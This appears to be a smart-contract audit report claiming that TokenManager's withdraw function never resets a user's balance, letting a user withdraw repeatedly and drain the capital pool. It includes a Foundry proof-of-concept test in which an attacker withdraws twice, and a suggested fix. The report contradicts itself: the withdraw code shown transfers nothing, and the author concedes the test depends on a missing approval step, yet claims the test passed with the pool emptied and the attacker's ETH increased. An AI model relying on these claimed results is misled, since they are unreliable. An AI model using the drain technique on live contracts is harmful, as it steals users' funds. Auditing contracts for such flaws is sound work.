Summary
The TokenManager contract allows users to withdraw more tokens than they have deposited or are entitled to. This is due to the contract failing to update the user's balance after a withdrawal.
Vulnerability Details
The withdraw function in the TokenManager contract does not update the user's balance after a successful withdrawal. This allows a user to call the withdraw function multiple times, each time withdrawing their full balance, even though they should only be able to withdraw once.
In TokenManager::withdraw function:
function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
if (claimAbleAmount == 0) {
return;
}
emit Withdraw(
_msgSender(),
_tokenAddress,
_tokenBalanceType,
claimAbleAmount
);
}
TokenManager::_transfer function
function _transfer(
address _token,
address _from,
address _to,
uint256 _amount,
address _capitalPoolAddr
) internal {
uint256 fromBalanceBef = IERC20(_token).balanceOf(_from);
uint256 toBalanceBef = IERC20(_token).balanceOf(_to);
if (
_from == _capitalPoolAddr &&
IERC20(_token).allowance(_from, address(this)) == 0x0
) {
ICapitalPool(_capitalPoolAddr).approve(address(this));
}
_safe_transfer_from(_token, _from, _to, _amount);
uint256 fromBalanceAft = IERC20(_token).balanceOf(_from);
uint256 toBalanceAft = IERC20(_token).balanceOf(_to);
if (fromBalanceAft != fromBalanceBef - _amount) {
revert TransferFailed();
}
if (toBalanceAft != toBalanceBef + _amount) {
revert TransferFailed();
}
}
Proof of code
Add the follow code in PreMarkets.t.sol.
Note: Please note that this test case depends on the withdraw function being implemented correctly. The current implementation has an additional flaw where the approval step is missing, preventing the withdrawal process from completing successfully.
function test_userCanWithdrawMultipleTimes() public {
address attacker = makeAddr("attacker");
uint256 initialAttackerBalance = 1 ether;
vm.deal(attacker, initialAttackerBalance);
vm.prank(attacker);
preMarktes.createOffer{value: 1 * 1e18}(
CreateOfferParams(
marketPlace,
address(weth9),
1000,
1 * 1e18,
12000,
300,
OfferType.Bid,
OfferSettleType.Turbo
)
);
vm.prank(user1);
preMarktes.createOffer{value: 1 * 1e18}(
CreateOfferParams(
marketPlace,
address(weth9),
1000,
1 * 1e18,
12000,
300,
OfferType.Bid,
OfferSettleType.Turbo
)
);
uint256 initialPoolBalance = weth9.balanceOf(address(capitalPool));
assertEq(initialPoolBalance, 2 ether, "Capital pool should have 2 ETH");
address stockAddr = GenerateAddress.generateStockAddress(0);
address offerAddr = GenerateAddress.generateOfferAddress(0);
vm.startPrank(attacker);
preMarktes.closeOffer(stockAddr, offerAddr);
tokenManager.withdraw(address(weth9), TokenBalanceType.MakerRefund);
tokenManager.withdraw(address(weth9), TokenBalanceType.MakerRefund);
uint256 balanceAfterWtithdraw = weth9.balanceOf(address(capitalPool));
vm.stopPrank();
assertEq(balanceAfterWtithdraw, 0, "Capital pool should have 0 ETH");
assert(attacker.balance > initialAttackerBalance);
}
Test passed indicating
Attacker can withdraw twice
No more funds left in the CapitalPool
Attacker gains more funds than deposited
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.32ms (853.54µs CPU time)
Impact
This vulnerability allows users to withdraw more tokens than they have deposited or earned, potentially leading to the complete depletion of the contract's funds. It undermines the entire system's financial integrity, causing direct financial losses for both the protocol and other users
Tools Used
Recommendations
Update the user token balance state after the withdrawal
function withdraw(address _tokenAddress, TokenBalanceType _tokenBalanceType) external whenNotPaused {
// ... (existing code)
// Update user balance
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;
// ... (rest of the function)
}